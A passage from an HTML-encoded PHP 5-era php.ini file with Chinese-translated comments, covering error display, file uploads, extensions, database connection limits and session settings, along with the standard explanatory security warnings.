E_COMPILE_ERROR|E_RECOVERABLE_ERROR|E_ERROR|E_CORE_ERROR<br>;<br>;&nbsp; &nbsp;- 显示出了提示以及代码标准警告之外的错误<br>;<br>error_reporting&nbsp; =&nbsp; E_ALL &amp; ~E_NOTICE<br><br>; 打印输出错误 (作为输出的一部分).&nbsp; 对于生产环境的网站来说,<br>; 强烈建议你关闭此选项, 使用错误日志来替代 (详情参考下面内容).&nbsp; <br>; 在一个生产环境下的web站点打开display_errors可能泄漏安全信息给最终用户, 例如web服务器的文件路径,你数据库的结构或者其他信息.<br>;<br>; display_errors可用的值:<br>;<br>; Off&nbsp; &nbsp; &nbsp; &nbsp; - 不显示任何错误信息<br>; stderr&nbsp; &nbsp; &nbsp;- 将错误信息输出到STDERR (只有 CGI/CLI 格式下有效!)<br>;<br>;display_errors = "stderr"<br>;<br>; stdout (On) - 输出错误信息到STDOUT上<br>;<br>display_errors = On<br><br>; 即使 display_errors 打开后,PHP启动序列中发生的错误也不会显示.<br>; 强烈建议你保持 display_startup_errors 关闭状态, 除非在排错<br>display_startup_errors = Off<br><br>; 将错误输入到日志文件 (服务器指定的log,stderr或者error_log (以下指定))<br>; 和上面提到的一样, 强烈建议你在生产环境的web站点下使用错误日志来代替错误显示.<br>log_errors = Off<br><br>; 设定log_errors的最大长度. 在 error_log 关于源的信息也计算在内.<br>; 默认是1024, 设置为0可以不限制任何最大长度.<br>log_errors_max_len = 1024<br><br>; 不要记录重复的信息.必须出现在同样文件的相同行之中的才被认为是重复信息,除非 ignore_repeated_source 被设为 true.<br>ignore_repeated_errors = Off<br><br>; 当忽略重复消息时忽略消息的来源. 当此设置打开后,不再记录来自不同文件或者不同行的相同消息.<br>ignore_repeated_source = Off<br><br>; 如果此选项被设置为 Off, 那么内存泄漏不会被显示 (不论在stdout还是在日志中). <br>; 此项仅在debug编译模式下有效, 并且错误报告需要包含 E_WARNING<br>report_memleaks = On<br><br>;report_zend_debug = 0<br><br>; 在$php_errormsg中保存最后一次错误/警告消息 (逻辑值).<br>track_errors = Off<br><br>; 关闭在错误信息中所包含的HTML标签.<br>; 注意: 永远不要再生产环境中使用此特性.<br>;html_errors = Off<br><br>; 如果html_errors 设置为On, 则PHP产生可点击的错误信息,点击后会跳转到描述此错误或者引起此错误的函数具体信息的页面.<br>; 你可以从 http://www.php.net/docs.php 下载一份PHP手册的副本<br>; 并且将 docref_root指向你放置本地拷贝的以'/'开头的.<br>; 你同时必须指定文件文件的包含点的扩展名.<br>; 注意: 永远不要再生产环境中使用此特性.<br>;docref_root = "/phpmanual/"<br>;docref_ext = .html<br><br>; 在输出的错误信息前加上的字符串.<br>;error_prepend_string = "&lt;font color=#ff0000&gt;"<br><br>; 在输出的错误信息之后加上的字符串.<br>;error_append_string = "&lt;/font&gt;"<br><br>; 将错误记录到指定文件.<br>;error_log = filename<br><br>; 将错误记录到 syslog (NT系统上的Event Log在Windows 95下不可用).<br>;error_log = syslog<br><br><br>;;;;;;;;;;;;;;;;;<br>; 文件处理 ;<br>;;;;;;;;;;;;;;;;;<br>;<br>; 注意 - track_vars 在PHP 4.0.3 中总是打开的<br><br>; 在PHP产生的URL中用来分隔参数的符号.<br>; 默认是 "&amp;".<br>;arg_separator.output = "&amp;amp;"<br><br>; PHP用来将URL分割输入到变量中的分隔符.<br>; 默认是 "&amp;".<br>; 注意: 所有包含在指令内的字符都会被认为是分隔符!<br>;arg_separator.input = ";&amp;"<br><br>; 此指令描述了PHP注册GET, POST, Cookie, 环境 和 内置变量的顺序&nbsp; (各自使用G, P, C, E 和 S , 一般使用 EGPCS 或 GPC).&nbsp; 注册使用从左往右的顺序, 新的值会覆盖旧的值.<br>variables_order = "EGPCS"<br><br>; 是否将EGPCS变量注册成为全局变量.<br>; 如果你不希望由于用户数据而导致你脚本的全局变量变得凌乱,你需要关闭此选项<br>; 这个一般随着 track_vars 打开 - 在这种情况下你能够通过$HTTP_*_VARS[]存取所有的GPC变量.<br>;<br>; 你应该努力写好脚本这样就不必打开register_globals <br>; 如果代码不是经过详细的斟酌,那将变量作为全局使用可能很容易导致潜在的安全漏洞.<br>register_globals = Off<br><br>; 是否注册老形式的输入数组, HTTP_GET_VARS 和相关数组<br>; 如果你不使用他们,建议为了提高性能关闭他们.<br>register_long_arrays = On<br><br>; 此指令让PHP确认是否申明 argv&amp;argc 变量 (这些变量会包含GET信息). <br>; 如果你不使用这些变量,为了提升性能应该关闭此选项.<br>register_argc_argv = On<br><br>; 当打开此项, SERVER 和 ENV 变量将在第一次被使用时而不是脚本一开始时创建(运行时)<br>; 如果这些变量在脚本中没有被使用过, 打开此项会增加一点性能.<br>; 为了使此指令有效,PHP指令 register_globals, register_long_arrays,<br>; 以及 register_argc_argv 必须被关闭.<br>auto_globals_jit = On<br><br>; PHP可以接受的最大的POST数据大小.<br>post_max_size = 8M<br><br>; Magic quotes<br>;<br><br>; 针对GET/POST/Cookie数据打开Magic quotes.<br>magic_quotes_gpc = On<br><br>; 针对实时产生的数据打开Magic quotes, 例如从SQL获取的数据, 从exec()返回的数据等等.<br>magic_quotes_runtime = Off<br><br>; 使用 Sybase 风格的 magic quotes (使用"来引导'替代\').<br>magic_quotes_sybase = Off<br><br>; 在任何PHP文档之前或之后自动增加文件.<br>auto_prepend_file =<br>auto_append_file =<br><br>; 和 4.0b4一样, PHP 总是使用默认在头 Content-type: 的编码输出字符. <br>; 将其设置为空可以禁用发送字符集.<br>;<br>; PHP内建默认为text/html<br>default_mimetype = "text/html"<br>;default_charset = "iso-8859-1"<br><br>; 总是填充 $HTTP_RAW_POST_DATA 变量.<br>;always_populate_raw_post_data = On<br><br><br>;;;;;;;;;;;;;;;;;;;;;;;;;<br>; 路径和目录 ;<br>;;;;;;;;;;;;;;;;;;;;;;;;;<br><br>; UNIX: "/path1:/path2"<br>;include_path = ".:/php/includes"<br>;<br>; Windows: "\path1;\path2"<br>;include_path = ".;c:\php\includes"<br><br>; PHP页面的根路径, 只有非空时有效.<br>; 如果PHP没有使用FORCE_REDIRECT来编译, 如果你将php作为CGI运行在任何web服务器下(除了IIS)的话,你必须设置doc_root<br>; 针对安全问题查看文档.&nbsp; 一种替代方案是使用下面的cgi.force_redirect<br>doc_root =<br><br>; PHP使用/~username打开脚本的目录,非空时才有效.<br>user_dir =<br><br>; 可加载的扩展(模块)的目录位置.<br>extension_dir = "./"<br><br>; 是否启用 dl() 函数.&nbsp; dl() 函数无法正常的在多线程服务下运行, 例如IIS或者Zeus, 并在在这些服务软件下会自动禁用.<br>enable_dl = On<br><br>; 在绝大多数web服务器下,cgi.force_redirect 对于提供安全执行PHP作为CGI来说是很有必要的. <br>; 没有配置的情况下,PHP会默认打开此项.<br>; 你可以在这里关闭此项并且自己承担风险<br>; **你可以在IIS安全的关闭此项,事实上,你必须关闭此项.**<br>; cgi.force_redirect = 1<br><br>; 如果 cgi.nph 被打开,就会强制CGI在每个请求时发送Status: 200.<br>; cgi.nph = 1<br><br>; 如果cgi.force_redirect被打开,并且你没有在Apache或者Netscape(iPlanet) web服务器下运行, <br>; 你也许需要设置一个环境变量名让PHP来查找让其可以获取后继续执行. 设置此变量可能引起安全问题, 在设置之前请先了解可能引起的后果.<br>; cgi.redirect_status_env = ;<br><br>; cgi.fix_pathinfo 为CGI提供 *真实* PATH_INFO/PATH_TRANSLATED 支持.&nbsp; <br>; PHP的预处理行为是设置 PATH_TRANSLATED 到 SCRIPT_FILENAME, 并且不去猜测 PATH_INFO 是什么. <br>; 想获取关于 PATH_INFO 更多的信息, 查看 cgi 规范.&nbsp; <br>; 将此值设置为1会引起PHP CGI修正它的路径来符合规范.<br>; 设置为0会引起PHP类似前面的行为. 默认是1. 你应该修正你的脚本来使用 SCRIPT_FILENAME 而不是 PATH_TRANSLATED.<br>; cgi.fix_pathinfo=0<br><br>; 在IIS下的FastCGI (在基于 WINNT 的操作系统下) 支持莫让呼叫客户端的安全令牌的能力.<br>; 这使得IIS能够定义其下运行的安全上下文.<br>; 在Apache下的mod_fastcgi 目前不支持此特性 (03/17/2002)<br>; 如果运行在IIS下设置为1. 默认是0.<br>; fastcgi.impersonate = 1;<br><br>; 关闭通过 FastCGI 连接的日志<br>; fastcgi.logging = 0<br><br>; cgi.rfc2616_headers 配置选项告知 PHP 当发送HTTP响应代码时使用什么类型的头<br>; 如果设置为0,PHP发送被Apache支持的 Status: 头信息.<br>; 当设置为1, PHP会发送 RFC2616 兼容的头信息.<br>; 默认为0.<br>; cgi.rfc2616_headers = 0<br><br><br>;;;;;;;;;;;;;;;;<br>; 文件上传 ;<br>;;;;;;;;;;;;;;;;<br><br>; 是否允许HTTP文件上传.<br>file_uploads = On<br><br>; 对于HTTP上传文件的临时文件目录 (如果没有指定则会使用系统默认).<br>;upload_tmp_dir =<br><br>; 允许上传的最大文件大小.<br>upload_max_filesize = 2M<br><br><br>;;;;;;;;;;;;;;;;;;<br>; Fopen 包装 ;<br>;;;;;;;;;;;;;;;;;;<br><br>; 是否允许将URL作为文件 (例如 http:// 或者 ftp://) .<br>allow_url_fopen = On<br><br>; 是否允许 include/require 将URL作为文件 (例如 http:// 或者 ftp://) .<br>allow_url_include = Off<br><br>; 定义匿名ftp密码 (你的电子邮件地址)<br>;from="john@doe.com"<br><br>; 定义 User-Agent 字符串<br>; user_agent="PHP"<br><br>; 定义基于流的socket接口的超时时间 (秒)<br>default_socket_timeout = 60<br><br>; 如果你的脚本必须处理从 Macintosh 系统来的文件,<br>; 或者你运行在一台Mac并且需要从unix或者win32系统上处理文件,<br>; 设置此标志会引起PHP自动检测这些文件的EOL字符,这样fgets() 和 file() 就可以不用管文件的来源而直接处理了.<br>; auto_detect_line_endings = Off<br><br><br>;;;;;;;;;;;;;;;;;;;;;;<br>; 动态扩展 ;<br>;;;;;;;;;;;;;;;;;;;;;;<br>;<br>; 如果你希望扩展自动加载, 使用下列语法:<br>;<br>;&nbsp; &nbsp;extension=modulename.extension<br>;<br>; 例如,在Windows系统上:<br>;<br>;&nbsp; &nbsp;extension=msql.dll<br>;<br>; ... 或者在 UNIX 下:<br>;<br>;&nbsp; &nbsp;extension=msql.so<br>;<br>; 注意: 这里应该只是模块的名字; <br>; 这里不需要模块的目录信息.<br>; 使用上面的 extension_dir 指令来指定扩展的位置.<br><br><br>; Windows Extensions<br>; 注意:已经内建了ODBC支持,所以不需要针对ODBC的dll.<br>; 注意:许多DLL文件位于 extensions/ (PHP 4) 或者 ext/ (PHP 5)目录中,和分割的PECL DLL下载在一起 (PHP 5).<br>; 确定设置了正确的 extension_dir 指令.<br><br>;extension=php_bz2.dll<br>;extension=php_curl.dll<br>;extension=php_dba.dll<br>;extension=php_dbase.dll<br>;extension=php_exif.dll<br>;extension=php_fdf.dll<br>;extension=php_gd2.dll<br>;extension=php_gettext.dll<br>;extension=php_gmp.dll<br>;extension=php_ifx.dll<br>;extension=php_imap.dll<br>;extension=php_interbase.dll<br>;extension=php_ldap.dll<br>;extension=php_mbstring.dll<br>;extension=php_mcrypt.dll<br>;extension=php_mhash.dll<br>;extension=php_mime_magic.dll<br>;extension=php_ming.dll<br>;extension=php_msql.dll<br>;extension=php_mssql.dll<br>;extension=php_mysql.dll<br>;extension=php_mysqli.dll<br>;extension=php_oci8.dll<br>;extension=php_openssl.dll<br>;extension=php_pdo.dll<br>;extension=php_pdo_firebird.dll<br>;extension=php_pdo_mssql.dll<br>;extension=php_pdo_mysql.dll<br>;extension=php_pdo_oci.dll<br>;extension=php_pdo_oci8.dll<br>;extension=php_pdo_odbc.dll<br>;extension=php_pdo_pgsql.dll<br>;extension=php_pdo_sqlite.dll<br>;extension=php_pgsql.dll<br>;extension=php_pspell.dll<br>;extension=php_shmop.dll<br>;extension=php_snmp.dll<br>;extension=php_soap.dll<br>;extension=php_sockets.dll<br>;extension=php_sqlite.dll<br>;extension=php_sybase_ct.dll<br>;extension=php_tidy.dll<br>;extension=php_xmlrpc.dll<br>;extension=php_xsl.dll<br>;extension=php_zip.dll<br><br>;;;;;;;;;;;;;;;;;;;<br>; 模块设置 ;<br>;;;;;;;;;;;;;;;;;;;<br><br>[Date]<br>; 定义date函数使用的默认时区<br>;date.timezone =<br><br>;date.default_latitude = 31.7667<br>;date.default_longitude = 35.2333<br><br>;date.sunrise_zenith = 90.583333<br>;date.sunset_zenith = 90.583333<br><br>[filter]<br>;filter.default = unsafe_raw<br>;filter.default_flags =<br><br>[iconv]<br>;iconv.input_encoding = ISO-8859-1<br>;iconv.internal_encoding = ISO-8859-1<br>;iconv.output_encoding = ISO-8859-1<br><br>[sqlite]<br>;sqlite.assoc_case = 0<br><br>[xmlrpc]<br>;xmlrpc_error_number = 0<br>;xmlrpc_errors = 0<br><br>[Pcre]<br>;PCRE 库反响追踪限制.<br>;pcre.backtrack_limit=100000<br><br>;PCRE 库递归限制. <br>;请注意如果你设置此项到一个很高的值, 你可能耗尽所有的可用的进程堆并且最终弄宕PHP(由于到达了操作系统强制的堆大小的限制).<br>;pcre.recursion_limit=100000<br><br>[Syslog]<br>; 是否定义不同的syslog变量 (例如. $LOG_PID,<br>; $LOG_CRON, 等等.).&nbsp; 关闭此选项对性能有益. <br>; 在运行时, 你可以调用 define_syslog_variables() 函数来定义这些变量.<br>define_syslog_variables&nbsp; = Off<br><br>[mail function]<br>; 针对Win32.<br>SMTP = localhost<br>smtp_port = 25<br><br>; 针对Win32.<br>;sendmail_from = me@example.com<br><br>; 针对Unix.&nbsp; 可以支持参数 (默认: "sendmail -t -i").<br>;sendmail_path =<br><br>; 强制额外的指定的参数被作为扩展参数传送给sendmail执行文件.<br>; 这些参数总是替代mail()函数的第五个参数值, 甚至是在安全模式内.<br>;mail.force_extra_parameters =<br><br>[SQL]<br>sql.safe_mode = Off<br><br>[ODBC]<br>;odbc.default_db&nbsp; &nbsp; =&nbsp; 目前无效<br>;odbc.default_user&nbsp; =&nbsp; 目前无效<br>;odbc.default_pw&nbsp; &nbsp; =&nbsp; 目前无效<br><br>; 允许或阻止持久连接.<br>odbc.allow_persistent = On<br><br>; 在重用前检查连接是否可用.<br>odbc.check_persistent = On<br><br>; 持久连接的最大数目.&nbsp; -1 意味着没有限制.<br>odbc.max_persistent = -1<br><br>; 最大连接数 (持久 + 非持久).&nbsp; -1 意味着没有限制.<br>odbc.max_links = -1<br><br>; 长字段处理.&nbsp; 返回变量的字节数.&nbsp; 0 意味着略过.<br>odbc.defaultlrl = 4096<br><br>; 二进制数据处理. 0 意味着略过, 1按照实际返回, 2 转换到字符.<br>; 查看 odbc_binmode 和 odbc_longreadlen 的文档来获取针对 uodbc.defaultlrl 和 uodbc.defaultbinmode的解释<br>odbc.defaultbinmode = 1<br><br>[MySQL]<br>; 允许或阻止持久连接.<br>mysql.allow_persistent = On<br><br>; 持久连接的最大数目.&nbsp; -1 意味着没有限制.<br>mysql.max_persistent = -1<br><br>; 最大连接数 (持久 + 非持久).&nbsp; -1 意味着没有限制.<br>mysql.max_links = -1<br><br>; mysql_connect()默认的端口号.&nbsp; 如果没有设置, mysql_connect() 会使用 $MYSQL_TCP_PORT <br>; 或者 位于/etc/services的 mysql-tcp 入口或者编译时定义的MYSQL_PORT 值(按照此顺序查找). <br>; Win32 只会查找MYSQL_PORT值.<br>mysql.default_port =<br><br>; 对于本地MySQL连接的默认socket名称. 如果为空, 则使用MySQL内建默认值.<br>mysql.default_socket =<br><br>; mysql_connect() 的默认host值(在安全模式中不会生效).<br>mysql.default_host =<br><br>; mysql_connect() 的默认user值(在安全模式中不会生效).<br>mysql.default_user =<br><br>; mysql_connect() 的默认password值(在安全模式中不会生效).<br>; 注意在此文件中保存密码一般来说是 *糟糕* 的主义.<br>; *任何* 使用PHP的用户可以执行 'echo get_cfg_var("mysql.default_password")<br>; 并且获取到此密码! 而且理所当然, 任何有对此文件读权限的用户都可以获取到此密码.<br>mysql.default_password =<br><br>; 连接超时的最大时间 (秒) , -1 意味着没有限制.<br>mysql.connect_timeout = 60<br><br>; 追踪模式. 当 trace_mode 被打开 (=On), table/index 扫描的警告和SQL错误会被显示出来.<br>mysql.trace_mode = Off<br><br>[MySQLi]<br><br>; 最大连接数.&nbsp; -1 意味着没有限制.<br>mysqli.max_links = -1<br><br>; mysqli_connect()默认的端口号.&nbsp; 如果没有设置, mysql_connect() 会使用 $MYSQL_TCP_PORT <br>; 或者 位于/etc/services的 mysql-tcp 入口或者编译时定义的MYSQL_PORT 值(按照此顺序查找). <br>; Win32 只会查找MYSQL_PORT值.<br>mysqli.default_port = 3306<br><br>; 对于本地MySQL连接的默认socket名称. 如果为空, 则使用MySQL内建默认值.<br>mysqli.default_socket =<br><br>; mysqli_connect() 的默认host值(在安全模式中不会生效).<br>mysqli.default_host =<br><br>; mysqli_connect() 的默认user值(在安全模式中不会生效).<br>mysqli.default_user =<br><br>; mysqli_connect() 的默认password值(在安全模式中不会生效).<br>; 注意在此文件中保存密码一般来说是 *糟糕* 的主义.<br>; *任何* 使用PHP的用户可以执行 'echo get_cfg_var("mysqli.default_password")<br>; 并且获取到此密码! 而且理所当然, 任何有对此文件读权限的用户都可以获取到此密码.<br>mysqli.default_pw =<br><br>; 允许或阻止持久连接.<br>mysqli.reconnect = Off<br><br>[mSQL]<br>; 允许或阻止持久连接.<br>msql.allow_persistent = On<br><br>; 持久连接的最大数目.&nbsp; -1 意味着没有限制.<br>msql.max_persistent = -1<br><br>; 最大连接数 (持久 + 非持久).&nbsp; -1 意味着没有限制.<br>msql.max_links = -1<br><br>[OCI8]<br>; 打开使用外部认证的授权连接 (OCI_SYSOPER, OCI_SYSDBA)<br>;oci8.privileged_connect = Off<br><br>; 连接: 每个进程的持久OCI8连接的最大数, -1 意味着没有限制.<br>;oci8.max_persistent = -1<br><br>; 连接: 一个进程允许保持一个空闲持久连接的最大秒数.<br>; -1意味着空闲持久连接会永远被保持.<br>;oci8.persistent_timeout = -1<br><br>; 连接: 当oci_pconnect() 检测一个连接是否有效时每次发起ping之间必须通过的秒数. <br>; 当设置为0后, 每个oci_pconnect() 会发起一个ping. Using -1 完全关闭ping.<br>;oci8.ping_interval = 60<br><br>; 调优: 此选项打开声明缓冲(statement cache), 并且指定缓冲多少声明. 使用0关闭声明缓冲.<br>;oci8.statement_cache_size = 20<br><br>; 调优: 打开声明预取(statement prefetch) 并且设置自动在声明执行后被取到行的数量.<br>;oci8.default_prefetch = 10<br><br>; 兼容性: 设置为On 意味着 oci_close() 不会关闭 oci_connect() 和 oci_new_connect() 的连接.<br>;oci8.old_oci_close_semantics = Off<br><br>[PostgresSQL]<br>; 允许或阻止持久连接.<br>pgsql.allow_persistent = On<br><br>; 总是在 pg_pconnect() 时检测断开的持久连接.<br>; 自动重置特性会引起一点开销.<br>pgsql.auto_reset_persistent = Off<br><br>; 持久连接的最大数目.&nbsp; -1 意味着没有限制.<br>pgsql.max_persistent = -1<br><br>; 最大连接数 (持久 + 非持久).&nbsp; -1 意味着没有限制.<br>pgsql.max_links = -1<br><br>; 是否忽略 PostgreSQL 后端通告消息.<br>; 通告消息记录会需要一点开销.<br>pgsql.ignore_notice = 0<br><br>; 是否记录 PostgreSQL 后端通告消息.<br>; 除非 pgsql.ignore_notice=0, 否则模块无法记录通告消息<br>pgsql.log_notice = 0<br><br>[Sybase]<br>; 允许或阻止持久连接.<br>sybase.allow_persistent = On<br><br>; 持久连接的最大数目.&nbsp; -1 意味着没有限制.<br>sybase.max_persistent = -1<br><br>; 最大连接数 (持久 + 非持久).&nbsp; -1 意味着没有限制.<br>sybase.max_links = -1<br><br>;sybase.interface_file = "/usr/sybase/interfaces"<br><br>; 显示出的消息最小严重程度.<br>sybase.min_error_severity = 10<br><br>; 显示出的消息最小严重程度.<br>sybase.min_message_severity = 10<br><br>; 兼容老版本PHP 3.0的模式.<br>; 如果设为 on, 会引起 PHP 自动绑定结果记录的类型到Sybase的类型,而不是将他们全部按照字符串处理. <br>; 此兼容模式可能不会永久存在, 所以最好尝试在你代码中需要的地方作出必要的修改, 然后关闭此选项.<br>sybase.compatability_mode = Off<br><br>[Sybase-CT]<br>; 允许或阻止持久连接.<br>sybct.allow_persistent = On<br><br>; 持久连接的最大数目.&nbsp; -1 意味着没有限制.<br>sybct.max_persistent = -1<br><br>; 最大连接数 (持久 + 非持久).&nbsp; -1 意味着没有限制.<br>sybct.max_links = -1<br><br>; 显示出的错误最小严重程度.<br>sybct.min_server_severity = 10<br><br>; 显示出的消息最小严重程度.<br>sybct.min_client_severity = 10<br><br>[bcmath]<br>; 所有bcmath函数的小数位数<br>bcmath.scale = 0<br><br>[browscap]<br>;browscap = extra/browscap.ini<br><br>[Informix]<br>; 对于 ifx_connect() 的默认host (不会在安全模式被应用).<br>ifx.default_host =<br><br>; 对于 ifx_connect() 的默认user (不会在安全模式被应用).<br>ifx.default_user =<br><br>; 对于 ifx_connect() 的默认password (不会在安全模式被应用).<br>ifx.default_password =<br><br>; 允许或阻止持久连接.<br>ifx.allow_persistent = On<br><br>; 持久连接的最大数目.&nbsp; -1 意味着没有限制.<br>ifx.max_persistent = -1<br><br>; 最大连接数 (持久 + 非持久).&nbsp; -1 意味着没有限制.<br>ifx.max_links = -1<br><br>; 如果设为 on, select 声明返回 text 段的内容而不是它的id.<br>ifx.textasvarchar = 0<br><br>; 如果设为 on, select 声明返回 byte 段的内容而不是它的id.<br>ifx.byteasvarchar = 0<br><br>; 固定长度字符列的尾部空格会被截去.&nbsp; 可能对 Informix SE 用户有帮助.<br>ifx.charasvarchar = 0<br><br>; 如果设为 on, text 和 byte 段会被dump到一个文件而不是在内存中保留它们.<br>ifx.blobinfile = 0<br><br>; NULL会被作为一个空字符串返回, 除非被设为1. 如果设为1, NULL会被作为字符串'NULL'返回.<br>ifx.nullformat = 0<br><br>[Session]<br>; 用来存储/获取数据的处理方法.<br>session.save_handler = files<br><br>; 传送到save_handler的参数.&nbsp; 在使用文件的情况下, 这里是数据文件被保存的路径.<br>; 注意: Windows 用户必须改变此值来使用PHP的会话函数.<br>;<br>; 和在 4.0.1一样, 你可以定义如下路径:<br>;<br>;&nbsp; &nbsp; &nbsp;session.save_path = "N;/path"<br>;<br>; 这里的 N 是一个整数.&nbsp; 使用此参数会在目录内建立一个N层深度的子目录用来保存session文件,<br>; 而不是将所有session文件保存在同一个/path目录内.&nbsp; <br>; 这对你或当你的操作系统在一个目录内保存太多文件时出现问题很有帮助.<br>; 并且对于处理大量session的服务器提供更高的效率.<br>;<br>; 注意 1: PHP不会自动创建目录结构. 你可以使用在ext/session目录内的脚本来创建目录结构.<br>; 注意 2: 如果你选择使用子目录来保存session,请检查下面关于垃圾回收的配置段<br>;<br>; 文件存储模块默认使用600模式来创建文件,在使用中你可以改变此选项<br>;<br>;&nbsp; &nbsp; &nbsp;session.save_path = "N;MODE;/path"<br>;<br>; 这里的MODE由8进制来表示. 注意这里不会覆盖进程的umask.<br>;session.save_path = "/tmp"<br><br>; 是否使用cookie.<br>session.use_cookies = 1<br><br>;session.cookie_secure = <br><br>; 这个选项允许管理员去保护那些在URL中传送session id的用户免于被攻击<br>; 默认是 0.<br>; session.use_only_cookies = 1<br><br>; session的名称 (作为cookie名称来使用).<br>session.name = PHPSESSID<br><br>; 在请求开始的时候初始化session.<br>session.auto_start = 0<br><br>; cookie的生存秒数,或者如果为0就直到浏览器重启.<br>session.cookie_lifetime = 0<br><br>; cookie有效的路径.<br>session.cookie_path = /<br><br>; cookie有效的域名.<br>session.cookie_domain =<br><br>; 是否将httpOnly标志增加到cookie上, 增加后则cookie无法被浏览器的脚本语言(例如JavaScript)存取.<br>session.cookie_httponly = <br><br>; 用于序列化数据的处理器. php是标准的PHP序列化器.<br>session.serialize_handler = php<br><br>; 定义'垃圾回收'进程在每次session初始化时开始的比例.<br>; 比例由 gc_probability/gc_divisor来得出,<br>; 例如. 1/100 意味着在每次请求时有1%的机会启动'垃圾回收'进程.<br><br>session.gc_probability = 1<br>session.gc_divisor&nbsp; &nbsp; &nbsp;= 100<br><br>; 在经过以下秒数之后, 存储的数据会被认为是'垃圾'并且被垃圾回收进程清理掉.<br>session.gc_maxlifetime = 1440<br><br>; 注意: 如果你使用子目录选项来保存session文件<br>;&nbsp; &nbsp; &nbsp; &nbsp;(查看在上面的session.save_path), 那么垃圾回收就 *不会* 自动发生.<br>;&nbsp; &nbsp; &nbsp; &nbsp;你需要通过一个shell脚本,cron或者其他方法来自行处理垃圾回收.<br>;&nbsp; &nbsp; &nbsp; &nbsp;例如, 下面的脚本相当于将session.gc_maxlifetime设置为 1440 (1440 秒 = 24 分钟):<br>;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cd /path/to/sessions; find -cmin +24 | xargs rm<br><br>; PHP 4.2 和更早版本有一个未公开的 特性/bug , 此特性允许你在全局初始化一个session变量,即便 register_globals 已经被关闭.<br>; 如果此特性被使用,PHP 4.3 和更早版本会警告你.<br>; 你可以关闭此特性并且隔离此警告. 这时候,如果打开bug_compat_42,那此警告只是被显示出来.<br><br>session.bug_compat_42 = 1<br>session.bug_compat_warn = 1<br><br>; 检查HTTP Referer来防止带有id的外部URL.<br>; HTTP_REFERER 必须包含从session来的这个字段才会被认为是合法的.<br>session.referer_check =<br><br>; 从此文件读取多少字节.<br>session.entropy_length = 0<br><br>; 在这里指定创建session id.<br>session.entropy_file =<br><br>;session.entropy_length = 16<br><br>;session.entropy_file = /dev/urandom<br><br>; 设置为 {nocache,private,public,} 来决定HTTP缓冲的类型<br>; 留空则防止发送 anti-caching 头.<br>session.cache_limiter = nocache<br><br>; 文档在n分钟之后过期.<br>session.cache_expire = 180<br><br>; trans sid 支持默认关闭.<br>; 使用 trans sid 可能让你的用户承担安全风险.<br>; 使用此项必须小心.<br>; - 用户也许通过email/irc/其他途径发送包含有效的session ID的URL给其他人.<br>; - 包含有效session ID的URL可能被存放在容易被公共存取的电脑上.<br>; - 用户可能通过在浏览器历史记录或者收藏夹里面的包含相同的session ID的URL来访问你的站点.<br>session.use_trans_sid = 0<br><br>; 选择hash方法<br>; 0: MD5&nbsp; &nbsp;(128 bits)<br>; 1: SHA-1 (160 bits)<br>session.hash_function = 0<br><br>; 当转换二进制hash数据到可读形式时,每个字符保存时有几位.<br>;<br>; 4 bits: 0-9, a-f<br>; 5 bits: 0-9, a-v<br>; 6 bits: 0-9, a-z, A-Z, "-", ","<br>session.hash_bits_per_character = 4<br><br>; URL rewriter会在已经定义的一组HTML标签内查找URL.<br>; form/fieldset 是特殊字符; 如果你在这里包含他们, rewriter会增加一个包含信息的隐藏&lt;input&gt;字段否则就是在URL中附加信息.<br>; 如果你你想遵守XHTML, 删除form的入口.<br>; 注意 所有合法的入口都需要一个"="符号, 甚至是没有任何值的.<br>url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=,fieldset="<br><br>[MSSQL]<br>; 允许或阻止持久连接.<br>mssql.allow_persistent = On<br><br>; 持久连接的最大数目.&nbsp; -1 意味着没有限制.<br>mssql.max_persistent = -1<br><br>; 最大连接数 (持久 + 非持久).&nbsp; -1 意味着没有限制.<br>mssql.max_links = -1<br><br>; 显示出的错误最小严重程度.<br>mssql.min_error_severity = 10<br><br>; 显示出的消息最小严重程度.<br>mssql.min_message_severity = 10<br><br>; PHP 3.0 老版本的兼容模式.<br>mssql.compatability_mode = Off<br><br>; 连接超时<br>;mssql.connect_timeout = 5<br><br>; 查询超时<br>;mssql.timeout = 60<br><br>; 有效范围 0 - 2147483647.&nbsp; 默认 = 4096.<br>;mssql.textlimit = 4096<br><br>; 有效范围 0 - 2147483647.&nbsp; 默认 = 4096.<br>;mssql.textsize = 4096<br><br>; 每批记录的数量限制.&nbsp; 0 = 所有记录在一批内.<br>;mssql.batchsize = 0<br><br>; 指定 datetime 和 datetim4 栏如何返回<br>; On =&gt; 返回数据转换到SQL服务器设置的格式<br>; Off =&gt; 使用 YYYY-MM-DD hh:mm:ss 返回<br>;mssql.datetimeconvert = On<br><br>; 当连接到服务器时使用NT验证<br>mssql.secure_connection = Off<br><br>; 指定最大进程数. -1 = 库默认<br>; msdlib 默认 25<br>; FreeTDS 默认 4096<br>;mssql.max_procs = -1<br><br>; 指定客户端字符集. <br>; 如果为空或者没有指定,客户端字符集将会使用freetds.conf的配置<br>; 只有和FreeTDS编译时会被使用<br>;mssql.charset = "ISO-8859-1"<br><br>[Assertion]<br>; 断言(expr); 默认打开.<br>;assert.active = On<br><br>; 对于每个失败断言发起一个PHP警告.<br>;assert.warning = On<br><br>; 默认不要保释.<br>;assert.bail = Off<br><br>; 如果断言失败则调用用户自定义函数.<br>;assert.callback = 0<br><br>; 使用当前 error_reporting() Eval一个表达式.&nbsp; 如果你想要在eval()附近error_reporting(0) ,那设置为true.<br>;assert.quiet_eval = 0<br><br>[COM]<br>; 包含GUID,IID或者TypeLibs的文件的文件名的文件的路径<br>;com.typelib_file =<br>; 允许 Distributed-COM 调用<br>;com.allow_dcom = true<br>; 自动注册位于com_load()函数的组件typlib的常量<br>;com.autoregister_typelib = true<br>; 注册常量大小写敏感<br>;com.autoregister_casesensitive = false<br>; 当有重复常量注册时显示警告<br>;com.autoregister_verbose = true<br><br>[mbstring]<br>; 内部字符表示的语言.<br>;mbstring.language = Japanese<br><br>; 内部/脚本编码.<br>; 部分编码无法作为内部编码使用.<br>; (例如. SJIS, BIG5, ISO-2022-*)<br>;mbstring.internal_encoding = EUC-JP<br><br>; http 输入编码.<br>;mbstring.http_input = auto<br><br>; http 输出编码. mb_output_handler 必须作为函数被注册为输出缓冲<br>;mbstring.http_output = SJIS<br><br>; 按照mbstring.internal_encoding的设置打开自动编码转换<br>; 当设置为On时,输入字符被转换为内部编码.<br>; 注意: 不要针对可移植库/应用使用自动编码转换.<br>;mbstring.encoding_translation = Off<br><br>; 自动编码检测序列<br>; 